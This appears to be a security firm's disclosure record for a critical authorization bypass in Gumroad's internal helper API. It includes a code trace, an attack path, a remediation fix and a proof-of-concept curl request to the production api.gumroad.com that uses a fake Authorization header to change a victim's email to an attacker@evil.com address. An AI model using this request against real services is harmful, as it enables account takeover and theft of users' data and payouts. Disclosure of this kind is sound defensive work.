Skip to content
winfunc
Disclosure record · Gumroad

0-click Account Takeover and Admin Operations via helper endpoint authorization bypass

Broken Access Control allows unauthenticated email updates via Helper API

GumroadDisclosedSource record

Severity rating

Critical
Critical

No numeric base score was published with this disclosure.

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Record

Project
Gumroad
Severity
Critical
CVE
None listed
Disclosed
Trace
4 steps

Summary

Source

update_email

app/controllers/api/internal/helper/users_controller.rb:247

Sink

update_email

app/controllers/api/internal/helper/users_controller.rb:258

The helper endpoint responsible for updating user email addresses performs a sensitive account mutation without performing any authentication or authorization beyond confirming that an Authorization header exists. Api::Internal::Helper::BaseController#verify_authorization_header! only checks for the header’s presence and does not enforce a signature, token, or identity check unless an action explicitly invokes authorize_hmac_signature! or authorize_helper_token!. The UsersController never calls either method, leaving POST /api/internal/helper/users/update_email callable by any unauthenticated client that supplies an arbitrary header (e.g., Authorization: foo).

An attacker can submit current_email and new_email parameters for any account, causing the controller to look up the target user via User.alive.by_email and set user.email = params[:new_email] with no ownership verification. Persisting the change allows the attacker to initiate password resets to the new email address, effectively taking over the victim’s account. This is a direct broken access control vulnerability with high impact on account integrity and confidentiality.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
Low
IntegrityI
High
AvailabilityA
Low

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledapp/controllers/api/internal/helper/users_controller.rb:247

    update_email

  2. Step 01app/controllers/api/internal/helper/users_controller.rb:258

    User lookup is driven directly by attacker-controlled current_email.

    ruby
    user = User.alive.by_email(params[:current_email]).first
    
  3. Step 02app/controllers/api/internal/helper/users_controller.rb:260

    Attacker-controlled new_email is assigned to victim user without ownership checks.

    ruby
    user.email = params[:new_email]
    
  4. Step 03app/controllers/api/internal/helper/users_controller.rb:261

    Saving persists the unauthorized email change.

    ruby
    if user.save
    
  5. Step 04app/controllers/api/internal/helper/users_controller.rb:262

    Controller confirms success to attacker, completing takeover path.

    ruby
    render json: { message: "Email updated." }
    
  6. Sinkapp/controllers/api/internal/helper/users_controller.rb:258

    update_email

Impact

Reported impact

Full account takeover, access to private sales data, payout redirection, customer records, and ability to impersonate the victim. Attack is remote, unauthenticated, and repeatable.

Attack surface

Publicly accessible API endpoint /api/internal/helper/users/update_email on api.gumroad.com.

Preconditions

Network access to the API endpoint. No valid credentials or secrets are required—only an Authorization header with any arbitrary value.

Attack path

  1. 1

    Identify the victim’s current email (public seller listings, receipts, or guesses).

  2. 2

    Craft a POST request supplying current_email and an attacker-controlled new_email.

  3. 3

    Add an arbitrary Authorization header (e.g., Authorization: foo).

  4. 4

    Send the request and verify the Email updated. success message.

  5. 5

    Use the new email to initiate password-reset or login flows, gaining access to the victim’s account and sensitive information.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Requirements: OS: Ubuntu 22.04 LTS or macOS 14. Packages: git ruby-full nodejs npm postgresql curl jq.

    Clone & Install:

    bash
    git clone https://github.com/antiwork/gumroad.git
    cd gumroad
    bundle install
    npm install
    

    Database & Secrets:

    bash
    bin/rails db:setup
    cp .env.example .env.development
    # ensure HELPERS tokens are set if needed for app boot
    
  2. 02

    Target configuration

    Start the Rails server:

    bash
    bin/rails server -p 3000
    

    Ensure a test user exists (replace with real email in production):

    bash
    bin/rails console
    User.create!(email: "victim@example.com", password: "Password1", name: "Victim", confirmed_at: Time.current)
    exit
    
  3. 03

    Exploit delivery

    Because the endpoint only checks for header presence, any arbitrary value suffices.

    bash
    curl -X POST 'https://api.gumroad.com/internal/helper/users/update_email' \
      -H 'Authorization: totally-fake' \
      -H 'Content-Type: application/json' \
      -d '{
            "current_email": "victim@example.com",
            "new_email": "attacker@evil.com"
          }'
    
  4. 04

    Expected response

    json
    {"message":"Email updated."}
    
  5. 05

    Outcome

    The attacker gains full control over the victim’s Gumroad account by hijacking the email address and resetting the password, compromising confidential data and payouts.

Remediation

Guidance

Sensitive helper endpoints must require a verifiable credential. The preferred control is the helper token/HMAC checks already implemented but unused in UsersController. Applying authorize_helper_token! (or HMAC) to write actions ensures only trusted Helper tooling can mutate user data.

Before and after+1
before_action :authorize_helper_token!, only: [:update_email, :update_two_factor_authentication_enabled, :create_appeal]
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.